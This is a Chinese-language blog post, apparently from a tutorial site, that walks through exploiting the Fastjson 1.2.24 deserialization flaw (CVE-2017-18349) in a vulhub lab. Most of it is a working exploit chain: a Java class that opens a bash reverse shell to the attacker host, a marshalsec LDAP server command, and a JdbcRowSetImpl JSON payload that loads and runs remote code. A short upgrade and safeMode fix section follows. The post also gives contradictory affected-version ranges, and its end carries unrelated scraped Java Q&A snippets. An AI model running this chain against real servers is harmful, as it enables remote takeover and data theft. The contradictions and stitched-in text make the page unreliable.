Fastjson1.2.24-RCE 漏洞复现(CVE-2017-18349)

2023-10-31

0x01 漏洞简介:

​         fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。

​         阿里巴巴公司开源Java开发组件Fastjson存在反序列化漏洞(CNVD-2022-40233)。攻击者可利用该漏洞实施任意文件写入、服务端请求伪造等攻击行为,造成服务器权限被窃取、敏感信息泄漏等严重影响。    

0x02 影响版本: 

fastjson<=1.2.24

该漏洞影响fastjson 1.2.80及之前所有版本

 图示:

 0x03 漏洞复现: 

环境准备

被攻击主机:CentOS7(192.168.217.140)

JDK版本:1.8 (shell弹不进去请检查版本)

靶场环境:vulhub/fastjson-1.2.24-rce

攻击主机:kali(192.168.217.141)

使用工具:marshalsec-0.0.3-SNAPSHOT-all.jar ,

GitHub - RandomRobbieBF/marshalsec-jar: marshalsec-0.0.3-SNAPSHOT-all compiled on X64

  • docker拉取镜像
docker-compose up -d

  • 启动环境并访问,出现下面页面表示访问成功

漏洞验证:

  • 配合dnslog申请个子域名来探测是否存在漏洞
  • 访问192.168.217.140:8090,使用brup拦截请求  
  • 修改请求方法为post,修改 Content-Type为: application/json
  • 添加请求正文,使用DNSLog进行验证:
{
	"a":{
	"@type":"java.net.Inet4Address",
	"val":"申请的域名"
	}
}

  • 发送后,dns有返回,证明存在此漏洞

 漏洞利用:

  • 编辑恶意类,创建一个.java 的文件,以反弹shell为例,而后使用javac命令进行编译而后放于kali中
import java.lang.Runtime;
import java.lang.Process;

public class GetShell {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.217.141/4444 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

 

  • 在cmd里面使用命令,编译为.class文件
javac GetShell.java

  • 将生成的文件,放在kali上,并开放http将GetShell.class变成可以访问
python -m SimpleHTTPServer

  • 然后下载前面的POC,上传至kali。起一个LDAP服务器监听6666端口,远程加载GetShell类,并同时打开监听反弹shell的端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.217.141:8000/#GetShell 6666      

  • 然后使用BP抓包,再次修改请求正文,使其下载恶意代码并执行
{
	"b":{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"ldap://192.168.217.141:6666/GetShell",
	"autoCommit":true
	}
}
  • 按照图示,点击发送

  • 发送完成后,LDAP服务器接收到请求

  • httpserver收到get请求

  • 同时也接收到反弹shell,到此漏洞利用完成

 0x04 修复方案: 

  • 建议升级到最新版本1.2.83
  • safeMode加固。Fastjson在1.2.68及之后的版本中引入了safeMode,配置safeMode后,无论白名单和黑名单,都不支持 autoType,可杜绝反序列化Gadgets类变种攻击
  • 升级至Fastjson v2
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Fastjson1.2.24-RCE 漏洞复现(CVE-2017-18349) 的相关文章

  • 在 Java 中有效地对图像进行颜色循环

    我正在编写一个曼德尔布罗分形查看器 我想以智能的方式实现颜色循环 给定一个图像 我想修改它的 IndexColorModel 据我所知 没有办法修改 IndexColorModel 也没有办法为图像提供新的 IndexColorModel
  • 如何检查 Java 中的间隔列表 (Joda-Time) 是否完全覆盖一个月

    我在用着乔达时间 http www joda org joda time Java 中用于跟踪时间列表的库间隔 http www joda org joda time key interval html 我想检查是否有一个列表Interva
  • 如何更改 JComboBox 下拉列表的宽度?

    我有一个可编辑的JComboBox其中包含单个字母值的列表 因此 组合框非常小 每个字母都有特殊的含义 对于很少使用的字母 有时用户并不清楚 因此我创建了一个自定义ListCellRenderer显示下拉列表中每个字母的含义 不幸的是 这个
  • TestNG 启动期间发生内部错误

    我创建了一个 TestNG 类 FirstTest java 当我将测试用例作为 TestNG Test 运行时 出现以下错误 期间发生内部错误 启动 FirstTest java lang NullPointerException Ecl
  • 如何在 Android 中恢复我的音频?

    我必须实现用于创建具有暂停和恢复状态的音频的应用程序 当我的应用程序作为启动时音频启动 当我按下模拟器上的后退按钮时 音频音乐处于暂停状态 但是当我的活动回来时从停止状态到前台我的音频音乐未恢复 这是我的代码 public class Au
  • BigDecimal 中 Divide 方法的 Scale()

    new BigDecimal 37146555 53880000 divide new BigDecimal 1000000 scale 这返回10 但根据API divide method 返回一个 BigDecimal 其值为 这个 除
  • 从另一个类添加 Swing 组件

    我正在学习java 我正在尝试从另一个类向我的框架添加一个菜单栏 练习将代码划分为多个类以更好地组织程序 这是我的代码示例 public class MainApp public static void main String args C
  • 大型 XML 的 XML 节点到字符串转换

    到目前为止我一直在使用DOM源在我的 Android 应用程序中将 XML 文件转换为字符串 这是我的代码 public String convertElementToString Node element throws Transform
  • JavaFX 动画使用循环?

    我正在尝试制作一款类似太空侵略者的游戏 我画了一个正方形 我想通过使用循环逐步向下移动它thread sleep 然而 正方形立即被绘制出来 我知道有可以使用的动画路径 但我想保持低水平并仅使用坐标系 有没有办法使用这样的循环来制作时间轴动
  • 酷还是傻? Catch(异常[NamingException, CreateException] e)

    我正在编写一些代码 我注意到异常处理中的一种模式让我思考 try do stuff throws JMS Create and NamingException catch NamingException e log1 e rollback
  • 添加和完成 PHP 源代码文档的工具 [关闭]

    Closed 此问题正在寻求书籍 工具 软件库等的推荐 不满足堆栈溢出指南 help closed questions 目前不接受答案 我有几个已完成的较旧的 PHP 项目 其中有很多内容 我想以 javadoc phpDocumentor
  • 不想保留一对一的实体

    假设我有两节课Employee and Department In Employee我已经写了 OneToOne fetch FetchType EAGER cascade CascadeType ALL JoinColumn name d
  • 使用泛型进行选择排序

    我对整数进行了选择排序并且它正在工作 当我尝试修改程序以使用泛型时 编译器会抱怨 我不知道如何修复它 如果有人能提出一些建议和建设性意见 我将不胜感激 这是代码 public class SelelctionSort public stat
  • 使用 Lint 和 SonarQube 分析 Android 项目

    我真的 溢出 了试图让这些东西一起工作 我按照这里的指示进行操作 http docs sonarqube org display PLUG Android Lint Plugin http docs sonarqube org displa
  • JavaFX 8 默认消息图标

    随着 JavaFX 的最近几次更新 我们收到了警报 我想获取消息的默认图标 错误 警告 在Swing中 我可以通过一些方式获取L F消息图标UIManager的属性 如何在 JavaFX 中获取消息的默认图标 它们是包含在属性中 还是由 C
  • 飞碟 - html 实体未呈现

    我正在使用 Flying saucer lib 生成 pdf 但我对一些 html 实体有问题 我已经在寻找解决方案 我在这个论坛和其他地方找到了很多提示 但仍然存在问题 我尝试过这种方法 http sdtidbits blogspot c
  • SecurityContextHolder.getContext().getAuthentication() 返回 null

    我想使用以下代码手动绕过 spring Security 的用户 User localeUser new User UsernamePasswordAuthenticationToken auth new UsernamePasswordA
  • 使用 OpenNLP 获取句子的解析树。陷入困境。

    OpenNLP 是一个关于自然语言处理的 Apache 项目 NLP 程序的目标之一是解析一个句子 并给出其语法结构的树 例如 天空是蓝色的 这句话 可能会被解析为 S NP VP The sky is blue where S是句子 NP
  • Hibernate 命名查询使用 Like 和 % % 运算符?

    在我的 Hibernate JPA 示例代码中 public List
  • Java:如何检测(并更改?)System.console 的编码?

    我有一个在控制台上运行的程序 其变音符号和其他特殊字符在 Mac 上以 的形式输出 这是一个简单的测试程序 public static void main String args System out println h h System

随机推荐

  • JAVA微信小程序支付源码

    做了很多次都没整理 总以为脑子记住了 可当下次用的时候又跟个脑瘫孩儿一样 今天就记录一下部分代码 需要帮助加QQ 1137586868 首先解释一下微信的签名制作方式 这里可能让小白最头疼的了 统一下单和支付时要的签名制作方式也都不一样 我
  • 卸载cpu版本的torch并离线安装对应的gpu版本

    每次从github上安装项目对应的库 利用requirements txt安装很容易出现版本不对应的情况 尤其是将torch的gpu版本安装成cpu 这里记录一些查看版本的指令和离线安装的方法 就不用每次百度啦 注 其他库的离线安装也可以用
  • stm32不使用外部晶振管脚怎么处理_stm32的外部晶振不起振以及更改外部晶振值的问题...

    今天有人问我关于外部晶振不起振以及如歌更改32的外部晶振 在此我做一个简单的记录 以stm32f1系列为例 其余类似 1 晶振不起振 此次遇到的问题倒不是出在电路上 实际上还是软件上的问题 画的新板子 换了一块贴片的晶振 与原来的直插式有点
  • Linux (二): 文件系统介绍、文件处理与权限操作

    目录 四 文件系统 分区与文件系统 组成 文件读取 磁盘碎片 block inode 目录 日志 挂载 目录配置 五 文件 文件属性 文件与目录的基本操作 1 ls 2 cd 3 mkdir 4 rmdir 5 touch 6 cp 7 r
  • Flink 1.17教程:输出算子之输出到Kafka

    输出到Kafka 1 添加Kafka 连接器依赖 由于我们已经测试过从Kafka数据源读取数据 连接器相关依赖已经引入 这里就不重复介绍了 2 启动Kafka集群 3 编写输出到Kafka的示例代码 输出无key的record public
  • word2vec和常见CNN+RNN网格结构组成的文本分类模型

    作者为了应付毕业 所以在补充深度学习相关知识 这是我尝试把word2vec和深度学习相互结合的一次记录 数据集来源 数据集预处理 生成word2vec模型 搭建网络并且训练 数据集来源 本文的数据集源自kaggle比赛中的NLP入门比赛 灾
  • S3C2416 SD卡启动和NAND启动的配置

    S3C2416的启动方式分为IROM NAND ONENAND ROM三种模式 有的datasheet上只有IROM ONENAND ROM两种模式 如下图所示 图1 图2 图2应该是早期三星的2416手册 图1为之后再次更新的 所以这里以
  • R语言实验课(生信)(附代码)

    实验五 题目1 解决方法 a lt read table E R Rcode temp txt 读取txt文件 找到下载路径 b lt list c lt list d lt list e lt list h lt matrix 0 5 1
  • 云风的新书电子版出来的真快

    云风大侠新书出来没几天 电子版就出来了 电骡上好像很早就有下载的了 不过我认为电子版不会影响销售的 只会聚集更多的人气 我这里也有个链接 ftp pub pub ftp PicDisk net pub Scan 游戏之旅 我的编程感悟 pd
  • 关于2022年9月以太坊合并你需要知道的10件事

    关于2022年9月以太坊合并你需要知道的10件事 1 什么是合并 合并是以太坊区块链将共识机制从工作量证明 pow 转为权益证明 pos 的事件 是以太坊主网与信标链 beacon chain 合并的简称 2 为什么 合并 这么值得关注 在
  • MicroBlaze系列教程(5):AXI_UART16550的使用

    文章目录 toc AXI UART16550简介 MicroBlaze硬件配置 常用函数 使用示例 参考资料 工程下载 本文是Xilinx MicroBlaze系列教程的第5篇文章 AXI UART16550简介 axi uart16550
  • MockMvc

    MockMvc classes SpringbootApplication class 指定入口启动类 webEnvironment SpringBootTest webEnvironment RANDOM PORT采用随机端口启动 不会产
  • MMU的作用及工作过程

    以下内容摘自 步步惊芯 软核处理器内部设计分析 一书的第10章 MMU剖析 MMU的作用及工作过程 MMU Memory Management Unit 是内存管理单元的简称 读者朋友在学习嵌入式的时候应该听说过 CLinux 这是适合没有
  • Android自动化测试框架

    1 Monkeyrunner 优点 操作最为简单 可以录制测试脚本 可视化操作 缺点 主要生成坐标的自动化操作 移植性不强 功能最为局限 2 Rubotium 主要针对某一个APK进行自动化测试 APK可以有源码 也可以没有源码 功能强大
  • ug装配绕轴旋转_UG绘制一个灯泡,这个白炽灯大家都熟悉吧

    灯泡三维建模你会吗 今天来学习一下吧 白炽灯是一种热辐射光源 能量的转换效率很低 只有2 4 的电能转换为眼睛能够感受到的光 虽然现在是普遍选用日光灯 但在10多年前 白炽灯还是使用最广泛的 今天就来用UG画个白炽灯怀念下吧 这个灯泡看看起
  • 计算机网络基础--互联网组成

    目录 互联网的边缘部分 通信方式 C S方式 通信方式 P2P方式 互联网的核心部分 电路交换 分组交换 报文交换 三种交换比较 互联网这个词想必对于大家来说已经不陌生了 那么你能说出互联网是由什么组成的吗 既然要步入互联网行业 那就应该知
  • 基于flowplayer的视频缩略图的视频预览

    大家在平时观看视频的视频网站中 比如优酷 爱奇艺 腾讯视频等 鼠标移动至播放条区域的时候 大家可以看到会弹出小的视频预览图片 这样子就可以给用户很好体验 至少可以知道前后播放的内容 最近公司业务需要 就不得不研究了 本文将从三个方面进行总结
  • 【OpenCV实战】这是我看过最详细的计算机视觉小项目,基于OpenCV进行长时间曝光,学到了~(赶紧收藏)

    前言 在本文中 我们将学习长时间曝光摄影技术 以及如何使用Python和OpenCV 开源计算机视 觉库 对其进行仿真 作者 程序员梨子 文章源码免费获取 为了感谢每一个关注我的小可爱 每篇文章的项目源码都是无偿分享滴 点下面找我获取完整资
  • matlab @函数_用MATLAB绘制正弦函数的图形

    用MATLAB正确地绘制正弦函数的图形 从中你会发现许多技术细节问题 一些抽象的理论问题 你可以在实践中得以启发 close all clear n 64 x 0 2 pi n 2 pi x x 1 n y sin x figure ste
  • Fastjson1.2.24-RCE 漏洞复现(CVE-2017-18349)

    0x01 漏洞简介 fastjson是阿里巴巴的开源JSON解析库 它可以解析JSON格式的字符串 支持将Java Bean序列化为JSON字符串 也可以从JSON字符串反序列化到JavaBean 即fastjson的主要功能就是将Java